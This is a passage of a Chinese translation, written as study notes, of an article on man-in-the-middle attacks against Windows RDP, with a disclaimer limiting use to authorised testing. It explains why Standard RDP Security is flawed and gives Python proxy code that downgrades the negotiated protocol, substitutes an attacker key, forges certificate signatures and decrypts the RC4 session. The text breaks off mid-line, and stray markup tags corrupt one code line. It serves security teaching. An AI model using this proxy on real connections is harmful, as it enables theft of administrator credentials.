最近看到一篇关于RDP攻击的文章,不是很新的内容,本着学习的目的进行简单的翻译,也当做学习笔记,鉴于水平有限,有很多不到位的地方,还请包涵。
RDP协议被系统管理员每天用来管理远程Windows服务器。最常见的场景之一就是,用RDP在核心服务器上执行远程管理任务,比如用高权限的账户登录域控服务器,这个账户的凭据通过RDP进行传输。因此,使用安全的RDP配置更加显得至关重要。由于配置错误,经常遇到如下的证书警告:
如果在你所处的环境中,经常出现这种警告,将无法识别出潜在的MitM攻击。
本文的目的在于提升安全意识,严肃的看待证书警告的重要性以及如何进行安全配置。计划的读者群是系统管理员、渗透测试人员以及安全爱好者。虽然不必要,但推荐读者最好具备以下的背景知识:
>- 公钥及对称密码体制(RSA、RC4)
>- SSL
>- x509 证书
>- TCP
>- Python
>- 十六进制数及二进制代码
本文将证明如何通过MitM攻击窃取用户凭证。文章内容没有涉及到最新的技术,甚至是早已被Cain实现过的技术。但是,Cain实在是太老了,而且关闭了源码并且只能在Windows下使用。本文将分析技术细节,以及RDP协议的内部工作原理,并尽可能真实的模拟一次攻击行为。
声明:不得利用本文涉及到的技术获取不属于你的服务器权限。本文仅用于教学,且需取得系统管理员的授权。否则,你的行为有可能涉及违法。本文涉及的源代码可在以下链接中找到。https://github.com/SySS-Research/Seth。
首先利用Wirdshark,看看在通过RDP连接至服务器时到底发生了些什么:
如图所示,客户端以一个建议开始,建议对RDP会话使用安全协议。我们将三个安全协议做如下区分:
> 标准RDP安全协议
> 强化的RDP安全协议或TLS协议
>* CredSSP(凭据安全服务提供者)
以上截图仅显示了前两种安全协议。请注意,RDP默认执行标准安全协议,客户端没有专门提示。TLS仅仅是将标准RDP安全协议封装在TLS通道之中。顺便,在本文中将互换的使用SSL协议与TLS协议。
CredSSP也是封装在TLS协议之中,不过在受保护的通道中所传输的不再是明文的密码,而是用于认证的NTLM或者Kerberos协议。这个协议通常情况下也被用于网络级别认证(NLA)。
早期的用户认证有个特征,允许服务器在用户提交任何凭据之前拒绝客户端的访问。比如,在用户没有所需的访问权限的情况下。
在Wireshark所截取的会话中,可以看到在客户端与服务器协商使用强化的RDP协议之后,双方进行了SSL握手。在这种情况下,我们在协商完成后的第一个数据包上点击右键,选择将TCP流解码至SSL。
所以,如果我们想对RDP会话进行MitM攻击,仅仅使用SSL代理是不够的,这个代理需要能够识别RDP协议。我们选择Python来实现这样一个代理。为实现这个目标,首先建立一个服务端socket,用来接受来自受害客户端的链接。同时建立一个客户端socket,用来链接真正的服务器。代理程序在两个socket之间进行数据转发,在必要的情况下使用SSL协议对数据进行封装。在此过程中,我们会详细检查数据,并对感兴趣的数据进行修改。
首先需要修改的数据就是客户端协议的安全级别,客户端原本想通知服务端使用CredSSP,但通过代理修改安全级别至标准RDP安全协议。在默认配置下,服务端将会正常回复。
主程序如下:
def run():
open_sockets()
handle_protocol_negotiation()
if not RDP_PROTOCOL == 0:
enableSSL()
while True:
if not forward_data():
break
def forward_data():
readable, _, _ = select.select([local_conn, remote_socket], [], [])
for s_in in readable:
if s_in == local_conn:
From = "Client"
to_socket = remote_socket
elif s_in == remote_socket:
From = "Server"
to_socket = local_conn
data = s_in.recv(4096)
if len(data) == 4096:
while len(data)%4096 == 0:
data += s_in.recv(4096)
if data == b"": return close()
dump_data(data, From=From)
parse_rdp(data, From=From)
data = tamper_data(data, From=From)
to_socket.send(data)
return True
def enableSSL():
global local_conn
global remote_socket
print("Enable SSL")
local_conn = ssl.wrap_socket(
local_conn,
server_side=True,
keyfile=args.keyfile,
certfile=args.certfile,
)
remote_socket = ssl.wrap_socket(remote_socket)
run():创建socket,处理协议协商,在必要的情况下启用SSL。完成之后在两个socket之间进行数据转发。
dump_data():在debug模式下,以十六进制形式将数据打印在屏幕上。
parse_rdp():从数据流中提取敏感信息,并利用tamper_data()进行修改。
因为在破解标准RDP安全协议时需要用到密码学相关知识,在此概要的介绍下RSA的基本概念。读者可根据自身情况选择跳过此节。
在RSA加密算法中,加密、解密、签名都是纯粹的数学操作,工作在简单整数的环境中。请明确,所有操作都限定于有限域之中。在生成RSA中的密钥对时,需要两个大素数p和q。模数n = pq。利用欧拉函数计算 φ(n)=(p−1)(q−1)。随机选择e,使得e与φ(n)互质。利用扩展欧几里得算法求e的逆元d,使得e·d ≡ 1 mod φ(n)。
此时d为私钥,e、n构成公钥。理论上讲d可以通过n、e计算得出,但是在不知道p和q的情况下,求解φ(n)是困难的。这也就是为什么RSA算法的安全性基于大数分解的难度。在目前情况下,没有人知道更加有效的大数分解算法,除非拥有光量子计算机。
假设待加密明文为m,密文为c,e为公钥,d为私钥。
则加密变换为:c≡m^e mod n。
解密变换为:m≡c^d mod n。
如果你确实不明白以上的加解密算法,没关系,这是数学问题,对于这篇文章来说确实有点难度。签名和解密一样,只需要在一段消息的hash值上进行运算。
当m或者c远大于256bit时,运算的开销会非常大,所以通常情况下,仅会使用RSA对对称加密的密钥进行加密。明文通常情况下使用一次一密的对称加密算法(如AES等)进行加解密。
事实上,对于标准的RDP安全机制根本谈不上破解,因为其设计伊始就存在缺陷。标准RDP协议安全机制工作流程如下:
> - 客户端声明将使用标准RDP安全协议;
> - 服务端同意使用该协议,并将自身的RSA公钥以及一个服务端随机数发送给客户端。公钥以及如主机名等一些其他信息的集合就称为“证书”。该证书使用终端服务的私钥进行签名(RSA签名机制),以确保证书的真实性;
> - 客户端使用公钥验证证书的真实性,若验证成功,则使用公钥对客户端随机数进行加密,并发送至服务端;
> - 服务端使用私钥进行解密,获取客户端随机数;
> - 客户端、服务端都从客户端随机数、服务端随机数中获取到了会话密钥。会话密钥用来加密会话的其余部分。
请注意,以上所有流程都是明文传输没有使用SSL。理论上没有任何问题,Microsoft想要自己实现SSL实现的功能。但是,密码体制不是一件简单的事,通常情况下,要依赖现有的、经过时间检验的解决方案,而不是自己建立一套新的方案。此时,Microsoft犯了一个严重的错误,该错误如此明显,以至于我完全不理解为什么会这样做。
你能看出问题在哪吗?客户端是如何获取到终端服务的公钥?答案就是:预装!这就意味着每个系统中的公钥都是一样的。更甚者,私钥也是一样的!所以,公私钥可以从任意Window系统中提取出来。事实上,我们甚至都不需要如此做,因为Microsoft已经决定将之正式的公布在网站上,只需要访问microsoft.com就可以查看到。
在会话密钥已经被获取的情况下,对称加密有以下几种模式:None、40bit RC4、56bit RC4、128bit RC4、3DES(以上被称为FIPS)。默认情况下使用128bit RC4(“High”)。但是,如果我们可以窃取到密钥,如论加密强度如何,都没有意义。
至此,目标已清晰:当收到服务端的公钥后,迅速生成我们自己的RSA密钥对,并替换真实的公钥。同时用私钥对证书进行签名。当客户端成功的获取到虚假的公钥之后,我们就能够获取到客户端的随机数。利用私钥进行解密,重写之后,用服务端的公钥重新加密,并发送。至此,我们就可以成功的嗅探客户端与服务端之间的通信了。
现在,唯一存在的问题就是RDP数据包的分析,下图为我们感兴趣的一个数据包:
表示公钥的字段已经被高亮表示出来了。最前面的两个以小端模式表示的字节,代表了公钥的长度(0x011c)。如同之前讨论过的,公钥由模数和指数两部分组成。查阅RDP协议格式,找出我们感兴趣的字段,以下是模数字段:
签名字段如下:
服务端随机数如下:
保留服务端随机数,修改模数和签名。为了生成我们自己的RSA密钥对,我们使用openssl,虽然Python拥有RSA库,但执行效率要比openssl慢。
$ openssl genrsa 512 | openssl rsa -noout -text
Generating RSA private key, 512 bit long modulus
.....++++++++++++
..++++++++++++
e is 65537 (0x010001)
Private-Key: (512 bit)
modulus:
00:f8:4c:16:d5:6c:75:96:65:b3:42:83:ee:26:f7:
e6:8a:55:89:b0:61:6e:3e:ea:e0:d3:27:1c:bc:88:
81:48:29:d8:ff:39:18:d9:28:3d:29:e1:bf:5a:f1:
21:2a:9a:b8:b1:30:0f:4c:70:0a:d3:3c:e7:98:31:
64:b4:98:1f:d7
publicExponent: 65537 (0x10001)
privateExponent:
00:b0:c1:89:e7:b8:e4:24:82:95:90:1e:57:25:0a:
88:e5:a5:6a:f5:53:06:a6:67:92:50:fe:a0:e8:5d:
cc:9a:cf:38:9b:5f:ee:50:20:cf:10:0c:9b:e1:ee:
05:94:9a:16:e9:82:e2:55:48:69:1d:e8:dd:5b:c2:
8a:f6:47:38:c1
prime1:
[...]
现在,我们生成了所需要的模数n、公钥e、私钥d。事实上,我们需要2048bit的密钥,而不是示例中的512bit,但生成思路是一致的。
伪造签名也很简单,计算证书的前六个字段,按照协议格式添加内容,并用私钥进行加密,以下是利用Python的函数实现:
def sign_certificate(cert):
"""Signs the certificate with the private key"""
m = hashlib.md5()
m.update(cert)
m = m.digest() + b"\x00" + b"\xff"*45 + b"\x01"
m = int.from_bytes(m, "little")
d = int.from_bytes(TERM_PRIV_KEY["d"], "little")
n = int.from_bytes(TERM_PRIV_KEY["n"], "little")
s = pow(m, d, n)
return s.to_bytes(len(crypto["sign"]), "little")
接下来需要截取的数据包包含有加密的客户端随机数,数据包如下:
再一次,将数据包中的关键字段高亮表示,开始的四个字节代表长度(0x0108)。由于该数据包是用生成的公钥加密,所以我们可以轻易的用私钥进行解密:
现在,只需要用服务端的公钥重新加密,修改数据包并发送。现在成功获得了私密的客户端随机数,但不知道什么原因,Microsoft并没有将之作为对称加密的密钥。这里需要一个精心构造过的调用,来生成客户端的密钥、服务端的密钥以及签名密钥。虽然无趣但却并不困难。
在获取到会话密钥之后,初始化RC4流中的s-boxes。由于RDP针对来自客户端的消息与服务端的消息使用了不用的密钥,所以我们需要两个s-boxes。s-boxes是一个256字节的数组,数组内的每个元素都被密钥扰乱,最终生成伪随机子密码,利用xor操作,对明文进行加密。Python实现算法如下:
class RC4(object):
def __init__(self, key):
x = 0
self.sbox = list(range(256))
for i in range(256):
x = (x + self.sbox[i] + key[i % len(key)]) % 256[/i]
self.sbox[i], self.sbox[x] = self.sbox[x], self.sbox[i][/i][/i]
self.i = self.j = 0
self.encrypted_packets = 0
def decrypt(self, data):
out = []
for char in data:
self.i = (self.i + 1) % 256
self.j = (self.j + self.sbox[self.i]) % 256
self.sbox[self.i], self.sbox[self.j] = (
self.sbox[self.j],
self.sbox[self.i]
)
out.append(char ^